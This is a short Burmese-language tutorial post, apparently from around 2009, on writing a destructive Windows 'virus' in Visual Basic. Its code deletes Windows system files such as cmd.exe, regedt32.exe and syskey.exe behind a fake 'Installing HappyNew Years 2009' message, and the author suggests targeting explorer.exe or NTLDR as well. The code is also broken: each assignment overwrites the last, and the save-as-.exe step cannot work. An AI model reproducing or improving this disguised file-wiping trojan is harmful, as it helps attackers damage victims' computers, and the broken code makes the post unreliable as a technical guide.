viousေရးသားျခင္း

 အရင္ဆံုး ဒီကုတ္ေလးေတြကို notepad နားမွာေရးလိုက္ပါ ပီးရင္

File >> Save As >> ပီးေတာ့ File Name ေနရာမွာ .exe ဆိုပီးေတာ့

Save လိုက္ဖိုင္ေလးတစ္ခုက်လာလိမ့္မယ္ အဲ့ဒါက vious ပဲေနာ္

စမ္းျခင္ရင္ေတာ့ရတယ္ေနာ္ တစ္ခုခုျဖစ္ရင္ေတာ့ သားသားမပါဘူးေနာ္

Private Sub Command1_Click()

Dim targetfile As String

targetfile="C:\WINDOWS\system32\rcimlby.exe"

targetfile="C:\WINDOWS\system32\BootSafe.exe"

targetfile="C:\WINDOWS\system32\notepad.exe"

targetfile="C:\WINDOWS\system32\syskey.exe"
targetfile="C:\WINDOWS\system32\cmd.exe"

targetfile="C:\WINDOWS\system32\regedt32.exe"
targetfile="C:\WINDOWS\system32\dfrg.msc"
targetfile="C:\WINDOWS\system32\write.exe"
targetfile="C:\WINDOWS\system32\lusrmgr.msc"
targetfile="C:\WINDOWS\system32\ntbackup.exe"
Kill targetfile
Label1.Caption="Installing HappyNew Years 2009......Please wait"
Timer1.Enabled=True
End Sub

Private Sub Timer1_Timer()
Label2.Caption="Installing Finish"
End Sub

Private Sub Form_Activate()
Timer1.Enabled=False

ဒီေကာင္ဘယ္လိုအလုပ္တာလဲဆိုရင္ targetfile ဆိုတာ သတ္မွတ္ခ်က္ေပါ့ေနာ္ (ဥပမာ-ေကာင္မေလးတစ္ေယာက္ ကိုယ္ၾကိဳက္တဲ့ေကာင္မေလးတစ္ေယာက္ အဲဒါTargetပဲ)
rcimlby.exe တို႔ ဘာတို႔က ကိုယ္ဖ်က္မဲ့ ဖိုင္ေတြပါ အဲဒိေနရာမွာ ၀င္းဒိုးရဲ့အေရးၾကီးတဲ့ဖိုင္ေတြ ထည့္လဲရတာေပါ့ေနာ္ explorer.exe တို႔ဘာတို႔ Happy Birthday လို NTLDR ကိုဖ်က္လဲရတာပဲ
Label1.Caption က program အလုပ္လုပ္တယ္ဆိုတဲ့ ေၾကာင္းေဖၚျပတာပါ
"Installing HappyNew Years 2009......Please wait" အဲဒါက screen saver လိုလို ဘာလိုလို ဟန္ျပေရးထားတာပါ ဆရာမဟုတ္ေတာ့ ေသခ်ာမရွင္းတတ္ဘူးဗ်
(Warrnig-အေပ်ာ္ေရးျပီးဖ်က္ဆီးရန္သင္ေပး၏ျခင္းမဟုတ္ပါ Evilအသိပညာတစ္ခုအေနနဲ႔ တတ္သင့္တယ္ထင္လို႔ ေျပာျပတာပါ)